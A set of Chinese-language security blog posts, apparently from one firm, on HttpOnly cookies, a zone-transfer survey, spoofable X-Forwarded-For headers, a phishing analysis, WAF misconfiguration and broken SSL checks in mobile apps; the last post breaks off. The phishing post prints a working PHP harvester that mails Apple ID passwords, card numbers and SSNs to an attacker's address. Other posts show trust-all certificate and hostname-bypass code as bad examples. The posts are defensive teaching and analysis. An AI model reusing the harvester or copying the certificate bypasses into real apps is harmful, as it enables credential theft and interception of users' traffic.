Cookie 的概念雖然早在 1994 年就由 Netscape 的工程師 Montulli 提出，但當時仍未有完善的防護機制，像是 HttpOnly、Secure 等規範都是後來陸續被提出，直到 2011 年 4 月才在 RFC 6265中正式定案。而其中的 HttpOnly是專門為了抵禦攻擊者利用 Cross-Site Scripting (XSS) 手法來盜取用戶身份，此項 Cookie 防護設定應該是在 HTTP Headers 系列文中最廣為人知的項目。

HttpOnly 主要作用

說明 HttpOnly 主要作用之前，先談談 XSS 最常見的利用方式。XSS 攻擊早在 1990 年就被發現，此攻擊手法最常見的利用方式是存取使用者的 cookie 來獲得一些機敏資料。像是存取 session cookie 即可盜用使用者的身份（關於 session 的重要性，可以參考我們部落格的另一篇文章 HTTP Session 攻擊與防護），如果在 cookie 中記錄了其他機敏資訊，也可能會一併遭竊。因此若能阻止攻擊者存取帶有敏感資料的 cookie，就能減少 XSS 對使用者的影響，因而催生了 HttpOnly 機制。

當 cookie 有設定 HttpOnly flag 時，瀏覽器會限制 cookie 只能經由 HTTP(S) 協定來存取。因此當網站有 XSS 弱點時，若 cookie 含有 HttpOnly flag，則攻擊者無法直接經由 JavaScript 存取使用者的 session cookie，可降低使用者身份被盜用的機率。早期有些瀏覽器未完整實作 HttpOnly 所有功能，因此攻擊者仍可透過 XMLHttpRequest 讀取 cookie，但最近幾年各大瀏覽器也陸續阻擋了這個方式。因此 HttpOnly 可有效降低 XSS 的影響並提升攻擊難度。目前瀏覽器的支援列表如下：

其他瀏覽器支援列表以及各家程式語言使用 HttpOnly 的方式可參考 OWASP HttpOnly。

HttpOnly Demo

以下使用 PHP 程式碼為例：

<?phpsession_start();?><html><head><title>HttpOnly Demo</title></head><body><h3>HttpOnly Demo</h3><p>If you didn't set HttpOnly flag, cookie will write down by document.write().</p><script>            document.write(document.cookie);</script></body></html>

在上圖中可看到 PHPSESSID 已成功被 JavaScript 存取，這也意味著網站有 XSS 弱點時，使用者的身份有較高的機率被盜用。為了使用 HttpOnly 進行防護，讓我們將 PHP 程式碼修改如下：

<?phpini_set("session.cookie_httponly",1);session_start();?>

我們可以使用畫面中右上角的 Chrome Edit This Cookie 套件看到 HttpOnly 已經被勾選（如紅框處），並且 PHPSESSID 已無法被 JavaScript 存取，不存在於 HTML 中。

目前 PHP 官方的教學是用 session_set_cookie_params 這個 function，可參考官方網頁的這篇說明

HttpOnly 實際使用案例

由於 HttpOnly 的使用方式較簡單，因此僅列舉幾個站台的使用結果圖片給大家參考，就不另外多做說明囉！

• T客邦 (www.techbang.com)，有設定 HttpOnly

• 愛料理 (icook.tw)，有設定 HttpOnly

• Mobile01 (www.mobile01.com)，未設定 HttpOnly

• Giga Circle (tw.gigacircle.com)，未設定 HttpOnly

結論

HttpOnly 是存在已久的技術，但在我們系列文第一篇的統計當中，採用的比例仍然偏低。如同之前我們提及的 Zone Transer問題，即使一項資安技術或資安議題存在很久，也需要大家持續關注。

但即使採用了 HttpOnly，也僅能防止惡意人士不正當存取 cookie，無法防禦其他的 XSS 攻擊方式，例如將使用者導向至釣魚網站騙取個資、導向至惡意網站植入後門、置換網頁外觀等等。同時未來仍有可能出現新的 XSS 攻擊手法，因此千萬別因設定了 HttpOnly 就掉以輕心，誤以為不會再被 XSS 手法侵害企業利益或用戶資料，仍然必須謹慎檢查每一個系統輸出輸入點，以避免未來因上述影響導致用戶或企業蒙受損失。

Zone Transfer 世界大揭秘

還記得在上一篇文章 Zone Transfer CVE-1999-0532 - 古老的 DNS 資安議題中我們曾提到，若對全世界的網站進行 zone transfer 檢測恐怕會有更多驚人的案例嗎？正好 Alexa 提供了全球排名前一百萬名的網站資料，我們就以這份資料為基礎來做一些統計吧！

有問題的 domain 總數與比例

• 79133，約佔所有受測目標的 8.014%
• 上述 domain 的所有 zone file 共含有 22631804 筆 DNS 記錄

由於在 Alexa Top 1M 中有許多資料是重複的 domain，另外也有些資料是 IP，在本次的檢測當中都不列入計算，因此受測 domain 總數僅有 987447 個，而非一百萬個。另外，本次掃描為求快速犧牲了部分準確率，因此實際數量應比 79133 更多。

有問題的 Top-Level Domain (TLD) 數量

• 全世界 TLD 總數：567
• 受測目標的 TLD 總數：316，佔全世界總數的 55.73%
• 有 zone transfer 問題的 TLD 總數：220，佔受測目標的 69.62%

目前 TLD 總數的數據取自於 Internet Assigned Numbers Authority (IANA)，不了解 TLD 是什麼的人可以參考這篇維基百科文章。

有趣的是，連一些新的 TLD 都有 zone transfer 問題，例如 .technology、.museum 等等，可見這真的很容易被大家忽略～

關於各個 TLD 的統計數據

• Transferable domain in this TLD：在特定 TLD 中，有多少 domain 可任意執行 zone transfer
• Same TLD in Alexa top 1M：特定 TLD 在本次 987447 個受測目標中所佔的數量
• Percentage of same TLD in Alexa top 1M：特定 TLD 在 Alexa top 1M 內所有同樣 TLD 所佔的百分比（例：.com 即為 35230 / 527203 = 6.68%）
• Percentage of all transferable domain：某特定 TLD 可任意執行 zone transfer 的數量在本次所有可任意執行 zone transfer 所占的百分比（例：.com 即為 35230 / 79133 = 44.52%）

由於原始數據太多，因此本文僅列出前 25 名。

.tw 網域排第二十一名，幸好這次不是世界第一了，否則又是另類的台灣之光。

關於 name server 的統計數據

• Number of domain：該台 name server 有多少 domain 可任意執行 zone transfer

由於原始數據太多，因此本文僅列出前 25 名。

可執行 zone transfer 且不重複的 namer server 共有 53830 個

關於 IP 位址的統計數據

• 有 7939172 個不重複的 IP 位址
• 在全部 IP 位址中，有 704638 個是私有 IP 位址
• 在私有 IP 位址中，有 598443 個是 10. 開頭，佔所有 IP 位址的 7.538%，佔私有 IP 位址的 84.929%
• 在私有 IP 位址中，有 66270 個是 172.16~31 開頭，佔所有 IP 位址的 0.835%，佔私有 IP 位址的 9.405%
• 在私有 IP 位址中，有 39925 個是 192.168 開頭，佔所有 IP 位址的 0.503%，佔私有 IP 位址的 5.666%

subdomain 的統計數據

以下選出一些常被入侵者當作攻擊目標的 subdomain 來計算在 22631804 筆 DNS 記錄中分別各佔了幾筆，每個 subdomain 共有兩個統計結果，逗號左邊的統計結果代表以該 subdomain 開頭的 DNS 記錄，例如 git.devco.re。逗號右邊的統計結果則將前後有數字的 subdomain 也一併計入，例如 dns01.devco.re、01dns.devco.re、0dns001.devco.re 等等。

• 版本控制

  git: 583, 626

  gitlab: 138, 138

  svn: 1552, 1669

  subversion: 71, 72

  cvs: 284, 330

  hg: 115, 331

  mercurial: 18, 19

• 開發與測試

  test: 14691, 20001

  dev: 8300, 10959

  stage: 1329, 1628

• 資料庫

  db: 1190, 2537

  database: 150, 302

  sql: 2209, 3298

  mysql: 4045, 4998

  postgre: 11, 11

  redis: 21, 33

  mongodb: 6, 42

  memcache: 13, 72

  phpmyadmin: 455, 485

• 後台管理

  manager: 188, 222

  staff: 481, 542

  member: 331, 376

  backend: 153, 177

• 線上服務相關

  api: 1871, 2097

  search: 1469, 10987

  pic: 178, 293

  img: 1775, 3517

  service: 779, 959

  payment: 225, 238

  cache: 373, 627

• 私有服務

  erp: 275, 318

  eip: 69, 80

  log: 227, 414

  nagios: 636, 736

  mrtg: 458, 565

  cgi: 194, 261

  dns: 2634, 9085

  ns: 12198, 63431

  ftp: 197414, 199481

  blog: 5074, 5446

  mail: 238742, 254515

  email: 2484, 2706

  webmail: 24164, 25067

  owa: 798, 888

  autodiscover: 30462, 30466

  vpn: 3152, 7025

  sso: 398, 462

  ssl: 709, 932

  proxy: 1464, 2215

  cms: 1320, 1696

  crm: 1152, 1301

  forum: 3654, 4037

按 End 的人有福了

究竟經由 zone transfer 所得到的資料可以拿來做什麼？對於攻擊者而言，主要有以下三種利用方式：

• 建立字典檔：入侵者可利用上述資料建立一份最常見的 subdomain 的字典檔，未來利用此字典檔進行掃描時可節省許多時間成本，快速檢測某間公司有哪些 subdomain
• 旁敲側擊：入侵者可觀察哪些 name server 有開放 zone transfer 查詢，接著去蒐集還有哪些公司使用同一台 name server，再進一步掃瞄那些 domain。那些 domain 也許不是大公司、不在 Alexa top 1M 內，但你無法確保它永遠不會是入侵者的攻擊目標。
• 結合 0day 進行攻擊：當某個第三方套件被揭露 0day 弱點時，擁有上述資料的人就可以迅速執行大範圍的攻擊。例如這幾年正夯的 Rails 在去年被爆出有 Remote Code Exection 弱點 CVE-2013-0156，入侵者可直接對所有 redmine 進行攻擊。Juniper VPN 在今年也被揭露 Remote Code Execution 弱點，入侵者可找尋所有 vpn subdomain 來進行嘗試。

在上次我們提起這個古老的弱點後，已經有部分台灣企業陸續將此問題修復，但許多台灣企業仍有此問題而不自知，也許過陣子我們直接做個 Wall of Shame 條列出哪些廠商有問題會讓大家比較有感 :p

不過也別急著笑台灣企業，許多國際級的大網站同樣也有此類問題。由此可見資安問題不分新舊、不分國內外，總是容易被大家忽略，等到不知不覺被入侵者捅了重重的一刀後，才驚覺這許多的小弱點一旦串起來是多麼的可怕。你，開始有所警覺了嗎？

很多網站都會有偵測使用者 IP 的功能，不管是判斷使用者來自哪邊，或者是記錄使用者的位置。但是你知道嗎？網路上大多數的教學全部都是「錯誤」的。正確的程式寫法可以確保知道訪客的 IP，但是錯誤的寫法卻可能讓網站管理者永遠不知道犯罪者的來源。

這次我們單就偵測 IP 的議題來探討各種錯誤的寫法。

你知道網路上的教學是不安全的嗎？

我們先來看一下網路上的教學，讓我們 Google 找一下「PHP 取得 IP」，就可以看到許多人熱心的教學，我們隨意挑一個常見的教學來看看。

以 PHP 為例：

<?phpif(!empty($_SERVER['HTTP_CLIENT_IP'])){$myip=$_SERVER['HTTP_CLIENT_IP'];}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$myip=$_SERVER['HTTP_X_FORWARDED_FOR'];}else{$myip=$_SERVER['REMOTE_ADDR'];}echo$myip;?>

以 ASP.NET 為例：

DimClientIPAsString=Request.ServerVariables("HTTP_X_FORWARDED_FOR")IFClientIP=String.EmptyThenClientIP=Request.ServerVariables("REMOTE_ADDR")EndIF

這是一個很基本的寫法、很正確的想法，如果 HTTP Header 中包含「Client-IP」，就先以他當作真實 IP。若包含「X-Forwarded-For」，則取他當作真實 IP。若兩者都沒有，則取「REMOTE_ADDR」變數作為真實 IP。因為當使用者連線時透過代理伺服器時，REMOTE_ADDR 會顯示為代理伺服器 Proxy 的 IP。部分代理伺服器會將使用者的原始真實 IP 放在 Client-IP 或 X-Forwarded-For header 中傳遞，如果在變數中呼叫則可以取得真實 IP。

但是你知道嗎？網路上 80% 的教學寫法全部都是「錯誤」的。

為什麼這樣說呢？請大家記得一件事情：「任何從客戶端取得的資料都是不可信任的！」

竄改 HTTP Header

「X-Forwarded-For」這個變數雖然「有機會」取得使用者的真實 IP，但是由於這個值是從客戶端傳送過來的，所以「有可能」被使用者竄改。

舉例來說，我寫了一個小程式，偵測這些常見的 HTTP Header 判斷 IP。並且使用 Burp Suite這個工具來修改 HTTP Request。

頁面上顯示目前我目前的 IP「49.50.68.17」，並且其他的 header 是空的。但如果我今天使用 Burp Suite 之類的 Proxy 工具自行竄改封包，加上 X-Forwarded-For 或是 Client-IP header：

修改完畢之後，再到原本的顯示 IP 介面，會發現網頁錯將我竄改的 header 當作正確的資料填入。

使用代理伺服器 Proxy 的情況

使用代理伺服器的情況下，HTTP Header 會有不同的行為。例如 Elite Proxy 如何隱藏客戶端的真實 IP。以下簡單介紹幾種常見的狀況給各位參考。

直接連線 （沒有使用 Proxy）

• REMOTE_ADDR: 客戶端真實 IP
• HTTP_VIA: 無
• HTTP_X_FORWARDED_FOR: 無

Transparent Proxy

• REMOTE_ADDR: 最後一個代理伺服器 IP
• HTTP_VIA: 代理伺服器 IP
• HTTP_X_FORWARDED_FOR: 客戶端真實 IP，後以逗點串接多個經過的代理伺服器 IP

Anonymous Proxy

• REMOTE_ADDR: 最後一個代理伺服器 IP
• HTTP_VIA: 代理伺服器 IP
• HTTP_X_FORWARDED_FOR: 代理伺服器 IP，後以逗點串接多個經過的代理伺服器 IP

High Anonymity Proxy (Elite Proxy)

• REMOTE_ADDR: 代理伺服器 IP
• HTTP_VIA: 無
• HTTP_X_FORWARDED_FOR: 無 (或以逗點串接多個經過的代理伺服器 IP)

實際情況

在我們測試的過程中，通常我們都會讓瀏覽器自帶 X-Forwarded-For，並且自行填入 IP。常常會發現有一些網站出現如下的警告…

有沒有搞錯？「上次登入位置 127.0.0.1」？沒錯，這個是知名論壇套件「Discuz!」的功能，抓取 IP 的功能也是不安全的寫法。也有這樣的經驗，之前開著 X-Forwarded-For 的 header 到一些網站，竟然直接出現管理者後台！

你覺得只有一般人撰寫的程式會有這樣的問題嗎？其實大型網站也可能會有類似的問題：

先不論為什麼 127.0.0.1 會在美國，這樣的寫法可能會讓管理者永遠抓不到犯罪者的真實 IP，甚至攻擊者可以竄改 header 插入特殊字元，對網站進行 SQL Injection 或者 Cross-Site Scripting 攻擊。

正確又安全的方式

「任何從客戶端取得的資料都是不可信任的！」

請各位開發者、管理者記住這個大原則，雖然這些 Request Header 可能含有真實 IP 的資訊，但是因為他的安全性不高，因此我們絕對不能完全信賴這個數值。

那我們該怎麼處理呢？我的建議是記錄所有相關的 header 欄位存入資料庫，包含「REMOTE_ADDR」「X-Forwarded-For」等等，真正有犯罪事件發生時，就可以調出所有完整的 IP 資訊進行人工判斷，找出真正的 IP。當然從 header 存入的數值也可能會遭到攻擊者竄改插入特殊字元嘗試 SQL Injection，因此存入值必須先經過過濾，或者使用 Prepared Statement 進行存放。

可以參考的 HTTP Header（依照可能存放真實 IP 的順序）

• HTTP_CLIENT_IP
• HTTP_X_FORWARDED_FOR
• HTTP_X_FORWARDED
• HTTP_X_CLUSTER_CLIENT_IP
• HTTP_FORWARDED_FOR
• HTTP_FORWARDED
• REMOTE_ADDR (真實 IP 或是 Proxy IP)
• HTTP_VIA (參考經過的 Proxy)

「駭客思維」就是找出網站任何可能竄改的弱點，從網頁上的元素到 HTTP Header 都是嘗試的對象。因此身為防禦者一定要清楚的知道哪些數值是不能信賴的，不要再參考網路上錯誤的教學了！

今天又有不怕死的人寄來釣魚信了，這次是騙取 Apple ID。讓我們來看看這封信，其中內容有非常多破綻，也已經被 Gmail 直接定為 Spam 了，非常可憐。除了信件之外，釣魚的網頁本身也很值得我們借鏡，讓我們來看看這次的釣魚郵件案例。

如何判別釣魚信呢？

先來談談要如何判別釣魚信呢。我們可以從四個要素來看：

1. 標題
2. 寄件者
3. 內文
4. 連結

標題

首先，這封信的標題非常假，一般來說公司不會使用這類標題，這種判斷比較需要經驗。釣魚信件會使用非常聳動、吸引你去做動作的標題。例如常見的「你的帳號遭到停用」、「更換帳號資訊通知」等。點下連結就會帶你去假造的頁面騙你輸入密碼，千萬別傻傻當真。

寄件者

寄件者通常是釣魚信一定會加強假造的部分，利用官方存在的信箱或是他人的信箱寄信，加強你的信任。不過需要特別注意的是：

寄件者的欄位是可以假造、隨意填寫的，千萬不要直接信任。

以這封信為例，寄件者「service@apple.com」是不存在的。當然這個欄位可以假造，但連假造都錯，實在是非常不用心。

內文

信件的內文就是精華了，要怎麼做出一封很像官方的信件，又要誘使人去點選，實在是一門藝術。精心設計的釣魚信、社交工程、APT 郵件，通常都會針對受害者客製化，調查身邊的社交圈、常談的話題、常用的服務、會點擊的郵件，來製造一個一定會中獎的信件。

當然很多時候攻擊者調查不足，還是會出現蛛絲馬跡的。例如來自中國的惡意郵件，常會出現「尊敬的用戶您好」這種在台灣人眼中看了很彆扭的詞彙。如果出現了不常見的用詞，就非常有可能是一個假造的惡意郵件，千萬不要傻傻的點選連結或附件。

再回頭來以這封信為例，最大的破綻除了非制式的內文之外，就屬署名了。明明是假造「Apple Customer Support」的來信，最下面卻簽署「Microsoft Privacy and cookies Developers」，有沒有搞錯？可以再用點心嗎？

連結

最後的重點就是信件中的釣魚連結了，通常這個連結會帶你前往一個長得跟官方網站一模一樣的登入頁面，騙你輸入帳號密碼登入來竊取。在點選超連結之前，一定要先看一下這個連結前往的位置是不是官方的位置，例如是 Apple 的信件通常就會是前往 Apple.com 自己的網域名稱。當然更要特別注意的是假造的網域名稱，例如使用「App1e.com」來偽裝成「Apple.com」，也是非常常見的。

這封信中使用了最不用心的用法，就是直接拿釣魚網站的 URL 來當連結，一來長得跟官方網域根本不像，二來落落長的連結，到底是想要騙誰點選呢？

信件標頭藏有攻擊者的蛛絲馬跡

收到惡意郵件、釣魚郵件，一定要好好看信件的標頭檔（Header）。裡面通常可以看到攻擊者發信的來源，例如是自己架設的發信伺服器或者是使用肉雞來發信。

信件標頭最重要的就是「Received」這個部分，要由下往上閱讀。從這邊我們可以看到信件的流向，從攻擊發起者到發信伺服器，中間經過其他伺服器的轉送，最後到收到釣魚信件的郵件伺服器。因此從最下面的 Received 位置，我們可以知道攻擊者是從「selecttr@cloud.httpdns.co」來寄送信件的，因此 cloud.httpdns.co 很有可能就是攻擊者的伺服器，或者是被駭來發信的伺服器。

如果覺得信件的標頭太長難以閱讀，可以利用 Google 提供的工具「Google Apps Toolbox - Messageheader」。只要把信件的標頭貼上，他就會自動分析信件的流向，如下圖。

釣魚網頁，也請你注重安全啊。

接著我們來看一下釣魚頁面。通常「正常」的釣魚頁面都會做得跟官方一模一樣，因為通常攻擊者都會直接把官方網站上面的 HTML 直接下載下來修改。如果有做得不像的，就真的是太不用心的攻擊者。

我們可以看到這個釣魚頁面做得非常像，上面要你輸入帳號、密碼、姓名、生日、信用卡號等資訊，非常惡劣。唯有網址實在是太假，希望沒有人眼拙真的以為這是 Apple 的網站。

秉持的資安研究員的好習慣，我們把網址子目錄去掉，看看網站的根目錄長什麼樣子，結果讓人跌破眼鏡。

釣魚網站也請你注重安全啊！這個網站大剌剌的開著目錄索引，讓我們可以看到網站上的各個目錄、檔案。除了 Apple 的釣魚網頁之外，甚至有釣魚網頁的原始碼「connect-info.zip」，更有著其他釣魚網頁在同個站上。

既然可以瀏覽，那我們來看看釣魚網頁的原始碼寫得怎樣。抓下來解開之後會看到完整的釣魚網頁，以及接收受騙人資料的主程式「Snd.php」。

釣魚網頁的程式寫得非常簡單，僅把網頁上接收到的被害人資料、IP，寄送到他的信箱「 justforhacke@gmail.com 」，寄送完畢後會自動導向到官方的頁面偽裝。

如果釣魚網頁寫得不好，甚至我們有機會可以攻擊他釣魚網頁上的漏洞，直接取得主機的權限，解救世人。從原始碼我們一目了然釣魚網頁的行為、寫法，也可以尋找有無攻擊的機會。

釣魚網頁原始碼備份

<?php$ip=getenv("REMOTE_ADDR");$hostname=gethostbyaddr($ip);$bilsmg.="------------+| AppLe VbV |+------------\n";$bilsmg.="Apple ID                    : ".$_POST['donnee000']."\n";$bilsmg.="Password                    : ".$_POST['donnee001']."\n";$bilsmg.="Full Name                   : ".$_POST['donnee01']."\n";$bilsmg.="Date of Birth               : ".$_POST['donnee02']."/";$bilsmg.="".$_POST['donnee3']."/";$bilsmg.="".$_POST['donnee4']."\n";$bilsmg.="Number Of Credit Card       : ".$_POST['donnee5']."\n";$bilsmg.="CVC (CVV)                   : ".$_POST['donnee6']."\n";$bilsmg.="Expiration Date             : ".$_POST['donnee7']."/";$bilsmg.="".$_POST['donnee8']."\n";$bilsmg.="Social Security Number      : ".$_POST['donnee9']."\n";$bilsmg.="------------+| APpLe VBV |+------------\n";$bilsmg.="Fr0m $ip\n";$bilsnd="justforhacke@gmail.com";$bilsub="Apple Result | Fr0m $ip";$bilhead="From: Apple Results <justforhacke@gmail.com>";$bilhead.=$_POST['eMailAdd']."\n";$bilhead.="MIME-Version: 1.0\n";$arr=array($bilsnd,$IP);foreach($arras$bilsnd)mail($bilsnd,$bilsub,$bilsmg,$bilhead);header('Location:https://itunesconnect.apple.com/WebObjects/iTunesConnect.woa/');?>

釣魚郵件不死，別再把自己當成肥羊了！

釣魚攻擊最早從 1995 年就開始盛行，一直到快 20 年後的今天，都還是一個非常簡單又有效率的攻擊手法。收到郵件千萬別傻傻的輸入自己的個資、帳號密碼，仔細看一下攻擊者的破綻，別讓他得逞了。

如果有發現疑似釣魚網站，又無法確認，可以到 PhishTank來查查看，找到釣魚網站也可以投稿一下幫助其他人！

過去談到網站安全，通常會使用防火牆或 IDS 進行防護。但近年來網站安全議題都是以網頁應用程式的漏洞居多，無法單靠防火牆阻擋。以 OWASP Top 10 2013 的第一名 Injection 而言，多半是程式撰寫方法不嚴謹所造成，因此才有了網頁應用程式防火牆 (Web Application Firewall, WAF) 的出現。

有了 WAF 就是萬靈丹了嗎？就算有各種資安設備，但缺乏安全的設定，有的時候反而會讓系統陷入安全風險中。我們就以 Reverse Proxy 或 WAF 設備來探討不佳設定帶來的安全風險。

WAF 搭配不佳的設定會帶來什麼危害？

以常見的 mod_proxy 搭配 mod_security 的方案來看，通常使用 Reverse Proxy 或 Transparent Proxy 為其架構，透過 Proxy 的方式在 Client 與 Web Server 之間，對 HTTP Request / Response 進行過濾；以 HTTP Request 為例，當 WAF 偵測到 Client 端的請求中有 SQL Injection 語法時候，將會阻斷這個連線防止駭客攻擊。

在這種架構下的 WAF 看似對後端的伺服器多了一份保障，但也並非完美。其問題是後端的 Web Server 在透過 WAF 存取的情況下，無法得知來自 Client 端的來源 IP，相反的 Web Server 能看到的 IP 都將是 WAF 的 IP (REMOTE ADDR)，在這種情況下可能造成 Client 端可以存取受 IP 來源限制的系統。延伸閱讀：如何正確的取得使用者 IP？。

以下圖為例，網站本身只允許 192.168.x.x 的網段連線，如果今天 Client IP 是 1.1.1.1，將無法存取該網站。

但在有建置 WAF 的架構之下，Client 透過 WAF 存取網站，網站得到的 IP 會是 WAF 的 IP：192.168.1.10，因此允許連線，Client 因而取得原本需在內網才能存取的資料。

實際案例

我們以常見的 Web Server 整合包 XAMPP 為例，在預設的 http-xampp.conf 設定檔中限制了一些管理頁面只能由 Private IP 存取，如 /security 、 /webalizer 、 /phpmyadmin 、 /server-status 、 /server-info 等，此時 WAF 的 IP 若為 Private IP，依 XAMPP 預設設定，WAF 將可以存取這些受 IP 限制的資源，當 WAF 存取完資源後又將內容回傳給 Client 端。

http-xampp.conf 預設設定

<LocationMatch"^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))">Order deny,allowDeny from allAllow from ::1 127.0.0.0/8 \fc00::/710.0.0.0/8172.16.0.0/12192.168.0.0/16\fe80::/10169.254.0.0/16ErrorDocument403/error/XAMPP_FORBIDDEN.html.var</LocationMatch>

如果照著預設的設定，以現成的案例來看，能夠存取 Apache Server 的系統狀態，其中可以看到網站所有連線以及 URI 等資料。

並且可以直接讀取 phpMyAdmin 介面，並且至資料庫中新增、修改、刪除資料，甚至直接上傳 webshell 進入主機。

XAMPP 也內建了網站記錄分析工具 webalizer，透過這個介面可以知道網站所有進入點的流量、統計數據等。

小結

如果建置了 WAF，有關 IP 的設定必須要從 WAF 支援的 HTTP Header 中取出使用者的 IP (REMOTE_ADDR)，才能讓原本網站的 IP 限制生效。在這種設定錯誤或是對 WAF 架構不瞭解的情況下，WAF 反而成為駭客繞過 Private IP 限制的跳板，就如同為駭客開了一個後門。因此在使用資安設備時，必須瞭解其架構。別讓資安設備、安全機制，反而使得伺服器更不安全。

在網路上傳輸敏感資訊時，通常會使用 HTTPS 協定，讓客戶端與伺服器端對資料進行 SSL 加密處理，以降低資料在傳輸過程中被監聽或中間人攻擊的風險。HTTPS 的重要性逐漸被重視，Google 除了預設開啟 HTTPS 之外，未來更會將 HTTPS 的網站搜尋排名加分。但為了確保傳輸的安全，過程中客戶端會核對伺服器的憑證鏈 (certificate chain) 是否有效，若判定為無效時會作出警告。(詳見Wikipedia)

而在手機應用程式上 HTTPS 同樣重要，例如網路銀行、線上購物等。系統同樣會做憑證核對，但對被判定為無效的憑證就需要開發者作出額外的處理了。許多手機應用程式開發商在這個部分並沒有妥善處理好，以下我們就幾個常見的成因做基本的探討。

會被系統判定為無效的常見成因？

在探討該如何處理這個問題之前，這裡先列出一些有可能被系統判定成無效憑證的成因。

1. 系統支援問題 ¹

在 Android 2.2 及之前的版本，對 SSL 的支援上存在著一些問題，像是 SNI和 Multiple Chain。而 Android 上不接受缺少中繼 CA 憑證的憑證鏈，例如：https://egov.uscis.gov/

2. 相關憑證未被預載到系統中

以 GCA 簽發的 SSL 憑證為例，在 Windows 上被判定為有效，但在 iOS 系統上卻因為 CA 不在系統的預載清單中而被判定為無效。

3. 使用自行簽發的憑證

這種情況常出現在應用程式開發階段的內部測試環境中，由於是內部測試環境一般都不會花錢去申請憑證。

4. 連線被中間人(MITM)攻擊

當連線被 MITM 攻擊時，使用者原本的連線目的地會被導到攻擊者的設備上，此時伺服器憑證也會被取代成攻擊者自行簽發的憑證，造成原本正常的連線出現異常。

開發者該如何處理？

理想情況下，客戶端的支援度充足，伺服器憑證鏈的來源及設定正確，只需使用系統原有的方式去檢查憑證即可達到安全效果。但若非得要相容低版本系統或是自行簽發憑證的時候，就得自行做額外的檢查。

在處理方式上，普遍是使用憑證綁定 (certificate pinning) 的方式，把需要比對的憑證預先存放在應用程式裡，待要進行 SSL Handshake 的時候再與伺服器的憑證做比對。

可是在實務上，大多開發人員採用消極的方法，把錯誤警告略過讓連線繼續進行，使得本來使用 SSL 加密連線帶來的安全性形同虛設。據 2012 年 Why Eve and Mallory Love Android: An Analysis of SSL (In)Security on Android這篇論文指出，在 Google Play 上 13500 個免費熱門應用程式當中，共有 1074 個 (8%) 應用程式因錯誤的 SSL 處理而導致使用者陷入 MITM 攻擊的風險中。

下面我們整理了一些在手機應用開發上，常見的 SSL 處理錯誤，以及其對應適當的處理方法。

Android 錯誤處理情況1

1@Override2publicvoidonReceivedSslError(WebViewview,SslErrorHandlerhandler,SslErrorerror){3handler.proceed();4}

當透過 WebView 元件訪問 HTTPS 網站發生 SSL 錯誤時，會觸發 onReceivedSslError 這個函數。根據官方文件指出，可藉由執行 handler.proceed() 或是 handler.cancel() 來決定是否讓連線繼續進行。在不覆寫這函數的情況下預設會執行 handler.cancel()。而上面的做法卻讓異常的連線繼續進行了。

較為恰當的做法是使用 handler.cancel() 讓連線終止，或是限制在開發階段才執行 handler.proceed()。像 Apache Coradova和 Facebook Android SDK皆有對這部分做控管。

Android 錯誤處理情況2

 1TrustManager[]trustAllManager=newTrustManager[]{newX509TrustManager(){ 2@Override 3publicvoidcheckClientTrusted(X509Certificate[]chain,StringauthType){ 4} 5 6@Override 7publicvoidcheckServerTrusted(X509Certificate[]chain,StringauthType){ 8} 910@Override11publicX509Certificate[]getAcceptedIssuers(){12returnnull;13}14}};1516SSLContextsslContext=SSLContext.getInstance("TLS");17sslContext.init(null,trustAllManager,null);

本用來檢查伺服器憑證的 checkServerTrusted 被留空，導致警告被略過。Google 建議不要自行實作 TrustManager，而是把憑證放到 KeyStore，再把 KeyStore 放到 TrustManagerFactory，最後從 TrustManagerFactory 產出相關的 TrustManager，開發文件中有提供處理的範例。OWASP 的 WIKI 上也有提供自行實作 TrustManager 做 certificate pinning 的範例。²

下面節錄 Android 官方文件上的範例：

 1KeyStorekeyStore=...; 2Stringalgorithm=TrustManagerFactory.getDefaultAlgorithm(); 3TrustManagerFactorytmf=TrustManagerFactory.getInstance(algorithm); 4tmf.init(keyStore); 5 6SSLContextcontext=SSLContext.getInstance("TLS"); 7context.init(null,tmf.getTrustManagers(),null); 8 9URLurl=newURL("https://www.example.com/");10HttpsURLConnectionurlConnection=(HttpsURLConnection)url.openConnection();11urlConnection.setSSLSocketFactory(context.getSocketFactory());12InputStreamin=urlConnection.getInputStream();

Android 錯誤處理情況3

1URLurl=newURL("https://www.example.com/");2HttpsURLConnectionconn=(HttpsURLConnection)url.openConnection();3conn.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);

或是

1HostnameVerifierallHostVerifier=newHostnameVerifier(){2@Override3publicbooleanverify(Stringhostname,SSLSessionsession){4returntrue;5}6};

上述寫法略過了憑證中的 hostname 檢查，導致即使連線端與憑證中指定的 hostname 不一致也能通過。較為恰當的做法是不特別設定，讓他使用預設的 DefaultHostnameVerifier，或是採用更為嚴謹的 StrictHostnameVerifier。

iOS 錯誤處理情況1

1@implementationNSURLRequest(IgnoreSSL)2+(BOOL)allowsAnyHTTPSCertificateForHost:(NSString*)host3{4returnYES;5}6@end

此情況使用到 Framework 中的 Private API，雖然這種寫法會因為不能通過 Apple 的審查而不會出現在 AppStore 上(使用回避技巧不在這討論範圍內)，但仍有機會在無需經過 Apple 審查的 Enterprise App 中使用。較為適當的做法是用 “#if DEBUG”，”#endif” 包起來以確保該段程式在編譯時只能對開發中的 debug 版上有作用。

iOS 錯誤處理情況2

 1-(BOOL)connection:(NSURLConnection*)connectioncanAuthenticateAgainstProtectionSpace:(NSURLProtectionSpace*)protectionSpace{ 2return[protectionSpace.authenticationMethodisEqualToString:NSURLAuthenticationMethodServerTrust]; 3} 4 5-(void)connection:(NSURLConnection*)connectiondidReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge*)challenge{ 6if([challenge.protectionSpace.authenticationMethodisEqualToString:NSURLAuthenticationMethodServerTrust]) 7[challenge.senderuseCredential:[NSURLCredentialcredentialForTrust:challenge.protectionSpace.serverTrust]forAuthenticationChallenge:challenge]; 8 9[challenge.sendercontinueWithoutCredentialForAuthenticationChallenge:challenge];10}

上面的做法會讓使用 NSURLConnection 的連線略過憑證檢查，容許任意憑證通過。下面節錄 OWASP WIKI 上的範例：

